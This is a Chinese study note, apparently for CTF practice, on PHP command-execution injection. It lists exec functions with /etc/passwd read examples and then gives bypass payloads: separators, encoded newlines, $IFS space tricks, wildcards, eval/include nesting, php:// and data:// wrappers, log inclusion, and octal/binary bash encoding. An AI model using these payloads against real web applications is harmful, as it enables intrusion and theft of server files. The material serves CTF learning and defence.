命令执行
命令执行
LacYor命令执行
PHP命令执行函数
函数 | 作用 | eg |
---|---|---|
system() | 用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。 | system('cat /etc/passwd'); |
exec() | 可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。 | exec('cat /etc/passwd', $result); print_r($result); |
shell_exec() | 执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。 | echo shell_exec('cat /etc/passwd'); |
passthru() | 执行系统命令并将执行结果输出到页面中,支持二进制数据。 | passthru('cat /etc/passwd'); |
popen() | 执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。 | $result = popen('cat /etc/passwd', 'r'); echo fread($result, 100); |
反引号 | 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。 | echo \cat /etc/passwd; |
使用分隔进行双写绕过:
; 分号
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行
==%26a &的url编码==
==%0a 换行符的url 编码==
注意:#
在URL中是特殊字符,要把 # 通过 GET 请求传输, 需要进行URL编码:#
-> %23
1 | ?c=tac flag.php;ls |
system()
passthru()
``
也可以视为命令执行
cat,sort可以用tail
,tac
,nl
等代替
空格,可以使用%09
、$IFS$9
、${IFS}
代替
过滤的flag,php,点,可以用通配符*或?代替.
嵌套函数(使用跳板)(逃逸)
1 | c=eval($_GET[a]);&a=system('cat flag.php'); |
文件包含
1 | c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php |
其中%0a
为换行符,而?>
替代了;
1 | c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php |
伪协议
1 | ?c=data://text/plain,<?php system("tac fla*");?> |
短标签
1 | /?c=data://text/plain,<?= system("tac fla*");?> |
php中不需要括号的函数
1 | echo 123; |
日志注入
1 | ?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log |
Bash特性
基于Bash的无字母命令执行
原理:bash能解析八进制状态的字母
成熟脚本:https://probiusofficial.github.io/bashFuck/
使用 echo $0
的方式获取当前运行的脚本名称即可查看自己的终端类型:
1 | root@Hello-CTF:echo $0 |
如果直接与容器交互大概率能得到一个bash的结果,但是当我们使用system函数时,这其实会由sh去执行,所以如果我们使用system去执行上述命令,大概率会得到:
1 | # echo $0 |
但其实 sh 也是外包,通常它只是一个软连接,并不是真的有一个shell叫sh,要查看它最终的定向,我们可以使用 ls -l /bin/sh
使用 -l 参数列出:
1 | root@Hello-CTF:ls -l /bin/sh |
如ls 可以通过$‘\154\163’ 的方式进行执行。
1 | root@Hello-CTF:/home# $'\154\163' |
但去dash中执行,会发现dash是无法解析他们的:
1 | # $'\154\163' |
若 sh 的软连接指向 dash,那么用system函数也类似:
1 | # $'\154\163' |
但是这种方法的缺陷就是无法一连串的指向带参命令,只能拆分开来:
1 | bash-5.1# $'\143\141\164\40\57\146\154\141\147' |
在bash中,支持二进制的表示整数的形式:$((2#binary))。
通过这一特性,我们可以使用二进制来构造八进制的整数形式 —— 注意这里并不是讲八进制转换为二进制,这里其实是用二进制来替换八进制中的每一位数字
• 比如
1 | $((2#10011010)) -> 154 |
拆分开来分析一下
• 首先是
$((...))
• 在
bash
中$((...))
是 算术扩展(Arithmetic Expansion) 的语法• 比如
1
2
3
4
5
6echo $((3 + 5)) # 输出 8
echo $((10 / 2)) # 输出 5
a=10
b=5
echo $((a + b)) # 输出 15
• 而
2#binary
是 进制表示法(Base Notation) , 表示把后面的二进制串, 转化为十进制- • 同理
#
前面的2
也可以是8
,16
,36
, 如下
1
2
3echo $((8#72)) # 输出 58
echo $((16#1A)) # 输出 26
echo $((36#Z)) # 输出 35- • 同理
长度限制